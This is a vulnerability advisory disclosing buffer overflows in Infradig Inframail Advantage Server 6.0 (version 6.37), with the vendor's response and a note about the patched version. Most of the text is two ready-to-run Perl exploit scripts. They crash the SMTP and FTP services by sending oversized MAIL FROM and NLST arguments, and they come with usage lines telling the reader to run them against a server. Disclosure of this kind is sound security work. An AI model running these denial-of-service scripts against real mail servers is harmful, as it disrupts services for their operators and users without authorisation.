Infradig60.txt

`Summary:  
Multiple buffer overflows exist in Infradig Systems Inframail  
Advantage Server Edition 6.0  
(http://www.infradig.com/)  
  
Details:  
Input to the SMTP MAIL FROM: command and the FTP NLST command is not  
properly checked and/or filtered. Issuing the character 'A' roughly  
40960 times as an argument to the MAIL FROM: command will cause the  
ifmail.exe process to die and re-launch. Issuing the character 'A'  
roughly 102400 times to the NLST command and then issuing the  
character 'A' roughly 102400 times to the NLST command again will  
cause all processes running under the ifmailsvc.exe process to die and  
re-launch (these processes include slapd.exe, slurpd.exe, ifmail.exe,  
ifweb.exe, etc.).  
  
Vulnerable Versions:  
Infradig Systems Inframail Advantage Server Edition 6.0 (Version: 6.37)  
  
Patches/Workarounds:  
The vendor was notified of the issue. Here is the vendor response:  
  
"The current release of Inframail is v7.11 and we have 1) been able to  
reproduce the SMTP crash, but 2) not the FTP one. The SMTP crash is  
fixed in the release Inframail v7.12 just out."  
  
A patched version of the affected software has been released (Version:  
7.12) and is available from http://www.infradig.com/.  
  
Exploits:  
Run the following PERL scripts against the server. The corresponding  
processes will die and then re-launch.  
  
#===== Start Inframail_SMTPOverflow.pl =====  
#  
# Usage: Inframail_SMTPOverflow.pl <ip>  
# Inframail_SMTPOverflow.pl 127.0.0.1  
#  
# Infradig Systems Inframail Advantage Server Edition 6.0  
# (Version: 6.37)  
#  
# Download:  
# http://www.infradig.com/  
#  
###########################################################  
  
use IO::Socket;  
use strict;  
  
my($socket) = "";  
  
if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],  
PeerPort => "25",  
Proto => "TCP"))  
{  
print "Attempting to kill Inframail SMTP server at $ARGV[0]:25...";  
  
sleep(1);  
  
print $socket "HELO moto.com\r\n";  
  
sleep(1);  
  
print $socket "MAIL FROM:" . "A" x 40960 . "\r\n";  
  
close($socket);  
}  
else  
{  
print "Cannot connect to $ARGV[0]:25\n";  
}  
#===== End Inframail_SMTPOverflow.pl =====  
  
#===== Start Inframail_FTPOverflow.pl =====  
#  
# Usage: Inframail_FTPOverflow.pl <ip>  
# Inframail_FTPOverflow.pl 127.0.0.1  
#  
# Infradig Systems Inframail Advantage Server Edition 6.0  
# (Version: 6.37)  
#  
# Download:  
# http://www.infradig.com/  
#  
###########################################################  
  
use IO::Socket;  
use strict;  
  
my($socket) = "";  
  
if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],  
PeerPort => "21",  
Proto => "TCP"))  
{  
print "Attempting to kill Inframail FTP server at $ARGV[0]:21...";  
  
sleep(1);  
  
print $socket "USER hello\r\n";  
  
sleep(1);  
  
print $socket "PASS moto\r\n";  
  
sleep(1);  
  
print $socket "NLST " . "A" x 102400 . "\r\n";  
  
sleep(1);  
  
print $socket "NLST " . "A" x 102400 . "\r\n";  
  
close($socket);  
}  
else  
{  
print "Cannot connect to $ARGV[0]:21\n";  
}  
#===== End Inframail_FTPOverflow.pl =====  
  
Discovered by Reed Arvin reedarvin[at]gmail[dot]com  
(http://reedarvin.thearvins.com/)  
  
Vulnerability discovered using PeachFuzz  
(http://reedarvin.thearvins.com/tools.html  
`